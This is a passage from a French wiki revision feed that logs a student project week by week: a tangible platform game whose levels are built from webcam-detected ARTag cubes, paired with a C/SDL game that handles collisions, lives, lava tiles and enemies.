Du côté du jeu, nous avons continuer sur le système de vie, en gérant les collisions avec les décors &amp;quot;dangereux&amp;quot;. Notre première amélioration a était de décrémenter le nombre de vie lors de la collision avec un bloc de décor de lave ( que nous spécifions de type &amp;quot;danger&amp;quot; au lieu de type ciel ou de type mur). La deuxième amélioration a était de forcer notre personnage à sauter lors d'une perte de vie , lui permettant de ne pas perdre toutes ses vie si il tombait dans la lave, mais aussi de pouvoir se remettre à l'abri sur une plateforme de type &amp;quot;mur&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 et 10===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Pendant ces deux semaines nous avons travaillé sur amélioration du jeu en incorporant un système de points dégressifs. En effet, ainsi cela améliore le potentiel du jeu en créant la possibilité de comparer son score ( qui en fait correspond au temps mis pour effectuer le parcours ) avec une autre personne. De plus nous sommes en train de démarrer la possibilité d'incorporer des ennemis dans le jeu. Cependant cela est toujours en stade de développement. Nous avons également rajouté un affichage d'un nouvel écran lors d'un game over qui affiche &amp;quot;Game Over&amp;quot; ainsi que le score du joueur.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour finaliser et améliorer notre jeu, nous avons décider de rajouter des ennemies. L'affichage d'un ennemie se faisant exactement comme pour l'affichage de notre personnage, celle-ci se faisait sous forme de boucle où l'on affichait tout les personnages en parcourant un tableau de sprites ( dessins des personnages ), contenant à la fois notre personnage et ceux contrôlés par l'ordinateur. Nous n'avons pas programmé de réel intelligence artificielle, cela aurait été très compliqué étant donné la possibilité infinie de décors environnant au personnage contrôlé par celle-ci. Le personnage ennemie se charge donc simplement de faire un balayage de gauche à droite de quelque case. Lors d'une collision entre notre personnage et un ennemie, notre personnage se comporte comme avec la rencontre de la lave, c'est à dire un saut vers le haut en perdant une vie.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=30293</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=30293"/>
				<updated>2016-05-02T15:29:17Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie Jeu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez puissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable fournie dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &lt;br /&gt;
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
L'installation de la gravité dans le jeu pour le personnage est finie avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeu détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Voici donc notre nouvelle fonction détectant les collisions : &lt;br /&gt;
&amp;lt;br&amp;gt;int CollisionDecor(Map* carte,Sprite* test)&lt;br /&gt;
&amp;lt;br&amp;gt;{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;int xmin,xmax,ymin,ymax,i,j,indicetile;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmin = test-&amp;gt;x / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;ymin = test-&amp;gt;y / carte-&amp;gt;HAUTEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmax = (test-&amp;gt;x + test-&amp;gt;anim-&amp;gt;largeurchar -1) / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	ymax = (test-&amp;gt;y + test-&amp;gt;anim-&amp;gt;hauteurchar -1) / carte-&amp;gt;HAUTEUR_TILE;	&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (xmin&amp;lt;0 || ymin&amp;lt;0 || xmax&amp;gt;=carte-&amp;gt;nbtiles_largeur_monde || ymax&amp;gt;=carte-&amp;gt;nbtiles_hauteur_monde)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		return 1;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	for(i=xmin;i&amp;lt;=xmax;i++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		for(j=ymin;j&amp;lt;=ymax;j++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			indicetile = carte-&amp;gt;schema[i][j];&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].mur )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 1; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].danger )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 2; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;return 0;&lt;br /&gt;
&amp;lt;br&amp;gt;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Cette semaine, nous avons travaillé sur la réunion de nos programmes. Nous avons dans un premier temps tenté une exécution séparée des deux programmes afin de vérifier que la lecture du fichier de scrolling ainsi que l'actualisation de la carte se faisait correctement. Cela fonctionne mais pour le moment nous actualisons la carte en appuyant sur la touche espace et nous tenterons la semaine prochaine de faire en sorte que cela se fasse en temps réel tout en rajoutant des améliorations du côté du jeu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:exemple1rassemblement.png  |Résultat obtenu ]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
En parallèle du rassemblement, nous avons améliorer le contenu de notre jeu. Précédemment nous avions rajouté des vies à notre personnage, il nous faut donc maintenant afficher ce nombre de vie pour informer le joueur du nombre de vie qui lui reste. Comme pour de nombreux jeux de plateforme nous avons décidé d'afficher ce nombre de vie sous forme de cœur. Un cœur rouge représente une vie encore présente alors qu'un cœur vide représente une vie perdu. Pour programmer cela nous créons une nouvelle fonction avec une boucle sur le nombre de vie, on colle les cœurs de la gauche vers la droite, tant que nous sommes dans le nombre de vies restants , on colle des cœurs plein, sinon on colle des cœurs vides.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Cette semaine nous avons terminé la mise en place des threads. Pour ce faire nous avons créer une fonction qui parcourt la matrice en sommant les valeurs de presence[i][j] et en vérifiant par rapport à la fois précédente afin de voir s'il y a eu changement. Si aucun changement on continue, mais dans le cas contraire, le programme de la caméra bloque le mutex afin de pouvoir écrire dans le fichier texte puis libère le mutex pour laisser le champs libre au programme du jeu. ( PHOTO DU CODE )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Du côté du jeu, nous avons continuer sur le système de vie, en gérant les collisions avec les décors &amp;quot;dangereux&amp;quot;. Notre première amélioration a était de décrémenter le nombre de vie lors de la collision avec un bloc de décor de lave ( que nous spécifions de type &amp;quot;danger&amp;quot; au lieu de type ciel ou de type mur). La deuxième amélioration a était de forcer notre personnage à sauter lors d'une perte de vie , lui permettant de ne pas perdre toutes ses vie si il tombait dans la lave, mais aussi de pouvoir se remettre à l'abri sur une plateforme de type &amp;quot;mur&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 et 10===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Pendant ces deux semaines nous avons travaillé sur amélioration du jeu en incorporant un système de points dégressifs. En effet, ainsi cela améliore le potentiel du jeu en créant la possibilité de comparer son score ( qui en fait correspond au temps mis pour effectuer le parcours ) avec une autre personne. De plus nous sommes en train de démarrer la possibilité d'incorporer des ennemis dans le jeu. Cependant cela est toujours en stade de développement. Nous avons également rajouté un affichage d'un nouvel écran lors d'un game over qui affiche &amp;quot;Game Over&amp;quot; ainsi que le score du joueur.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=30292</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=30292"/>
				<updated>2016-05-02T15:28:03Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Semaine 9 et 10 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
